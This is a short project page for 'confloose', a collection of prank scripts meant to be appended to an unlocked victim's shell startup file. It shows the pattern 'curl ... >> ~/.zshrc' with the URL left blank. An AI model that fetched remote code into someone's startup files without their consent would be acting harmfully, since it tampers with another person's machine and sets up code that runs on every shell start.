The worst startup scripts ever

View the Project on GitHub Snaipe/confloose


A confloose (or "loose configuration") is a collection of the worst a startup script can do for you.

There has been a prank going on for quite some time in my IT school -- when someone leaves his computer unattended, and without locking it, one would append a script to the victim's shell startup file.

The deal is to put really annoying things right off the bat while not harming the computer and the data on it -- this prank is meant as a lesson (you should not leave your computer unattended in public space), and a fun challenge (at least for the one watching from afar)

How to confloose somebody :

curl "" >> ~/.the_shell_rc

So, as an example, confloosing someone using zsh :

curl "" >> ~/.zshrc

Rules :

  1. Don't destroy anything.
  2. Don't steal anything.
  3. Try to be cryptic.
  4. Be fun and creative.